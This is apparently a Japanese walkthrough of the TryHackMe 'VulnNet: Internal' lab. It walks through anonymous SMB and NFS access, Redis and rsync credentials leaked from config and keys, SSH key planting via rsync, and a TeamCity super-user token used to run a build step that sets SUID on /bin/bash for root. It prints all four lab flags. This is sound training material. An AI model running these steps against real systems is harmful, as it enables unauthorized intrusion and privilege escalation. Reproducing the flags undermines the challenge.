概要
TryHackMe「VulnNet: Internal」のWalkthroughです。
Task1
Q1.What is the services flag? (services.txt)
ポートスキャンを実行します。
$ nmap -Pn -T4 -sCV -p- 10.201.59.97 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3a:7c:13:4c:56:63:06:48:1d:fd:55:39:2f:94:1c:47 (RSA)
| 256 83:69:c2:5c:9b:a7:59:cf:d9:6d:cd:a6:2d:63:2e:89 (ECDSA)
|_ 256 b2:eb:73:94:1c:da:38:12:95:4d:0d:f5:17:9a:14:b3 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 38909/udp mountd
| 100005 1,2,3 50475/tcp mountd
| 100005 1,2,3 60433/tcp6 mountd
| 100005 1,2,3 60614/udp6 mountd
| 100021 1,3,4 37331/udp nlockmgr
| 100021 1,3,4 40265/tcp6 nlockmgr
| 100021 1,3,4 42401/tcp nlockmgr
| 100021 1,3,4 59236/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4
873/tcp open rsync (protocol version 31)
2049/tcp open nfs 3-4 (RPC #100003)
6379/tcp open redis Redis key-value store
9090/tcp filtered zeus-admin
42401/tcp open nlockmgr 1-4 (RPC #100021)
42597/tcp open java-rmi Java RMI
45629/tcp open mountd 1-3 (RPC #100005)
48593/tcp open mountd 1-3 (RPC #100005)
50475/tcp open mountd 1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_nbstat: NetBIOS name: IP-10-201-59-97, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2025-11-03T12:09:28
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 22 | ssh | OpenSSH 8.2p1 |
| 111 | rpcbind | |
| 139 | smb | Samba smbd 4 |
| 445 | smb | Samba smbd 4 |
| 873 | rsync | protocol version 31 |
| 2049 | nfs | 3-4 |
| 6379 | redis | Redis key-value store |
| 42401 | nlockmgr | 1-4 |
| 42597 | java-rmi | Java RMI |
SMBの列挙を行うと、sharesという共有フォルダを発見できました。
$ enum4linux -a 10.201.59.97
=================================( Share Enumeration on 10.201.59.97 )=================================
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shares Disk VulnNet Business Shares
IPC$ IPC IPC Service (ip-10-201-59-97 server (Samba, Ubuntu))
[+] Attempting to map shares on 10.201.59.97
//10.201.59.97/print$ Mapping: DENIED Listing: N/A Writing: N/A //10.201.59.97/shares Mapping: OK Listing: OK Writing: N/A
認証情報なしでsharesに接続できました。
$ smbclient //10.201.59.97/shares -N
Try "help" to get a list of possible commands.
smb: \>
tempとdataディレクトリがあります。
smb: \> dir
. D 0 Tue Feb 2 04:20:09 2021
.. D 0 Tue Feb 2 04:28:11 2021
temp D 0 Sat Feb 6 06:45:10 2021
data D 0 Tue Feb 2 04:27:33 2021
15376180 blocks of size 1024. 2252936 blocks available
temp/services.txtを発見しました。
smb: \temp\> dir
. D 0 Sat Feb 6 06:45:10 2021
.. D 0 Tue Feb 2 04:20:09 2021
services.txt N 38 Sat Feb 6 06:45:09 2021
15376180 blocks of size 1024. 2252936 blocks available
サービスフラグを入手できました。
$ cat services.txt
THM{0a09d51e488f5fa105d8d866a497440a}
A.THM{0a09d51e488f5fa105d8d866a497440a}
Q2.What is the internal flag? ("internal flag")
2049ポートでNFSが動作しているので、フォルダをマウントできるかもしれません。
設定されている共有フォルダを列挙すると、/opt/confが設定されていると分かりました。
$ showmount -e 10.201.59.97
Export list for 10.201.59.97:
/opt/conf *
/opt/confをローカルマシンにマウントします。
$ sudo mount 10.201.59.97:/opt/conf /mnt/VulnNet-Internal
マウントしたフォルダを確認すると、さらにフォルダ分けされています。
$ ls -la /mnt/VulnNet-Internal
total 36
drwxr-xr-x 9 root root 4096 Feb 2 2021 .
drwxr-xr-x 6 root root 4096 Nov 3 08:09 ..
drwxr-xr-x 2 root root 4096 Feb 2 2021 hp
drwxr-xr-x 2 root root 4096 Feb 2 2021 init
drwxr-xr-x 2 root root 4096 Feb 2 2021 opt
drwxr-xr-x 2 root root 4096 Feb 2 2021 profile.d
drwxr-xr-x 2 root root 4096 Feb 2 2021 redis
drwxr-xr-x 2 root root 4096 Feb 2 2021 vim
drwxr-xr-x 2 root root 4096 Feb 2 2021 wildmidi
redisフォルダを確認すると、redis.confがあります。
$ ls -la
total 68
drwxr-xr-x 2 root root 4096 Feb 2 2021 .
drwxr-xr-x 9 root root 4096 Feb 2 2021 ..
-rw-r--r-- 1 root root 58922 Feb 2 2021 redis.conf
設定ファイルから、接続に必要なパスワードを得られました。
(省略)
requirepass "B65Hx562F@ggAZ@F"
得られたパスワードで接続に成功しました。
$ redis-cli -h 10.201.59.97 -a "B65Hx562F@ggAZ@F"
10.201.59.97:6379>
キーの一覧を列挙します。
10.201.59.97:6379> keys *
1) "tmp"
2) "marketlist"
3) "internal flag"
4) "int"
5) "authlist"
internal flagの値を取得し、フラグを入手できました。
10.201.59.97:6379> get "internal flag"
"THM{ff8e518addbbddb74531a724236a8221}"
A.THM{ff8e518addbbddb74531a724236a8221}
Q3.What is the user flag? (user.txt)
authlistがリスト型なので、値をすべて取得します。
10.201.59.97:6379> lrange "authlist" 0 -1
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
4) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
Base64でデコードすると、rsyncの接続パスワードを得られました。
$ echo "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==" | base64 -d
Authorization for rsync://rsync-connect@127.0.0.1 with password Hcg3HP67@TW@Bc72v
rsyncの共有フォルダを列挙すると、filesを発見しました。
$ rsync 10.201.59.97::
files Necessary home interaction
先ほどエンコードしたデータから、接続に必要なパスワードを得られたので、filesへ接続します。
$ rsync -av rsync://rsync-connect@10.201.59.97/files /home/kali/VulnNet:Internal/rsync-files
sys-internal配下にuser.txtを発見しました。
$ ls -la
total 108
drwxr-xr-x 18 kali kali 4096 Feb 6 2021 .
drwxr-xr-x 5 kali kali 4096 Nov 3 06:58 ..
lrwxrwxrwx 1 kali kali 9 Feb 1 2021 .bash_history -> /dev/null
-rw-r--r-- 1 kali kali 220 Feb 1 2021 .bash_logout
-rw-r--r-- 1 kali kali 3771 Feb 1 2021 .bashrc
drwxrwxr-x 8 kali kali 4096 Feb 2 2021 .cache
drwxrwxr-x 14 kali kali 4096 Feb 1 2021 .config
drwx------ 3 kali kali 4096 Feb 1 2021 .dbus
drwx------ 2 kali kali 4096 Feb 1 2021 Desktop
-rw-r--r-- 1 kali kali 26 Feb 1 2021 .dmrc
drwxr-xr-x 2 kali kali 4096 Feb 1 2021 Documents
drwxr-xr-x 2 kali kali 4096 Feb 1 2021 Downloads
drwx------ 3 kali kali 4096 Feb 1 2021 .gnupg
drwxrwxr-x 3 kali kali 4096 Feb 1 2021 .local
drwx------ 5 kali kali 4096 Feb 1 2021 .mozilla
drwxr-xr-x 2 kali kali 4096 Feb 1 2021 Music
drwxr-xr-x 2 kali kali 4096 Feb 1 2021 Pictures
-rw-r--r-- 1 kali kali 807 Feb 1 2021 .profile
drwxr-xr-x 2 kali kali 4096 Feb 1 2021 Public
lrwxrwxrwx 1 kali kali 9 Feb 2 2021 .rediscli_history -> /dev/null
drwxrwxr-x 2 kali kali 4096 Feb 6 2021 .ssh
-rw-r--r-- 1 kali kali 0 Feb 1 2021 .sudo_as_admin_successful
drwxr-xr-x 2 kali kali 4096 Feb 1 2021 Templates
drwx------ 4 kali kali 4096 Feb 2 2021 .thumbnails
-rw------- 1 kali kali 38 Feb 6 2021 user.txt
drwxr-xr-x 2 kali kali 4096 Feb 1 2021 Videos
-rw------- 1 kali kali 61 Feb 6 2021 .Xauthority
-rw-r--r-- 1 kali kali 14 Feb 12 2018 .xscreensaver
-rw------- 1 kali kali 2546 Feb 6 2021 .xsession-errors
-rw------- 1 kali kali 2546 Feb 6 2021 .xsession-errors.old
ユーザーフラグを入手できました。
$ cat user.txt
THM{da7c20696831f253e0afaca8b83c07ab}
A.THM{da7c20696831f253e0afaca8b83c07ab}
Q4.What is the root flag? (root.txt)
共有フォルダ内のsys-internalに自身のSSH公開鍵をアップロードします。
$ rsync -av ~/.ssh/id_rsa.pub rsync://rsync-connect@10.201.59.97/files/sys-internal/.ssh/authorized_keys
sys-internalにSSH接続が出来ました。
$ ssh -i ~/.ssh/id_rsa sys-internal@10.201.59.97
sys-internal@ip-10-201-59-97:~$ whoami
sys-internal
linpeasを実行し、動作しているポートを列挙します。
╔══════════╣ Active Ports
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports
══╣ Active Ports (ss)
tcp LISTEN 0 4096 0.0.0.0:50475 0.0.0.0:*
tcp LISTEN 0 64 0.0.0.0:42401 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:48593 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:631 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 64 0.0.0.0:2049 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:111 0.0.0.0:*
tcp LISTEN 0 50 0.0.0.0:139 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:6379 0.0.0.0:*
tcp LISTEN 0 50 0.0.0.0:445 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:45629 0.0.0.0:*
tcp LISTEN 0 5 0.0.0.0:873 0.0.0.0:*
tcp LISTEN 0 4096 [::]:60433 [::]:*
tcp LISTEN 0 511 [::1]:6379 [::]:*
tcp LISTEN 0 50 [::ffff:127.0.0.1]:58121 *:*
tcp LISTEN 0 64 [::]:40265 [::]:*
tcp LISTEN 0 50 *:42597 *:*
tcp LISTEN 0 5 [::1]:631 [::]:*
tcp LISTEN 0 64 [::]:2049 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
tcp LISTEN 0 100 [::ffff:127.0.0.1]:8111 *:*
tcp LISTEN 0 1 [::ffff:127.0.0.1]:8105 *:*
tcp LISTEN 0 4096 [::]:111 [::]:*
tcp LISTEN 0 50 [::]:139 [::]:*
tcp LISTEN 0 4096 [::]:45345 [::]:*
tcp LISTEN 0 4096 [::]:41389 [::]:*
tcp LISTEN 0 50 [::]:445 [::]:*
tcp LISTEN 0 5 [::]:873 [::]:*
tcp LISTEN 0 50 *:9090 *:*
ローカルで動作している8111番ポートを調べると、TeamCityのデフォルトポートだと分かりました。
SSHのポートフォワーディングを利用します。
$ ssh -L 8111:127.0.0.1:8111 -i ~/.ssh/id_rsa sys-internal@10.201.59.97
8111ポートにアクセスすると、ログイン画面が表示されました。
catalina.outの中を見ると、スーパーユーザーの認証トークンがあり、メッセージからトークンのみで認証できると分かりました。
sys-internal@ip-10-201-59-97:/TeamCity/logs$ cat catalina.out
[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
authentication tokenで検索すると、6730957368688804690が最新の認証トークンだと分かりました。
sys-internal@ip-10-201-59-97:/TeamCity/logs$ cat catalina.out | grep "authentication token"
[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 8446629153054945175 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 3782562599667957776 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 5812627377764625872 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 8494139184482786852 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 9112682479416228733 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 1184781491476205032 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 1766718408916667047 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 6730957368688804690 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 6730957368688804690 (use empty username with the token as the password to access the server)
[TeamCity] Super user authentication token: 6730957368688804690 (use empty username with the token as the password to access the server)
ユーザ名を空にし、Password: 6730957368688804690でログインが成功しました。
TeamCityでは、OSコマンドを実行できます。
Create Projectからプロジェクトを作成します。
Manuallyを選択し、必要な項目を埋め、Createボタンを押下します。
プロジェクト作成に成功しました。
Create build configurationボタンから、必要な項目を埋めます。
Build StepsのAdd build stepを選択します。
Runner typeをcommand lineに設定し、Custom scriptに実行したいコマンドを設定します。
BashにSUIDを設定するコマンドを設定し、右上のRunボタンを押下します。
ターミナル上で確認すると、SUIDが設定されていると分かります。
sys-internal@ip-10-201-59-97:/TeamCity/conf$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
/bin/bashを使用してroot権限に昇格出来ました。
sys-internal@ip-10-201-59-97:/TeamCity/conf$ /bin/bash -p
bash-5.0# whoami
root
ルートフラグを入手できました。
bash-5.0# cat /root/root.txt
THM{e8996faea46df09dba5676dd271c60bd}
A.THM{e8996faea46df09dba5676dd271c60bd}








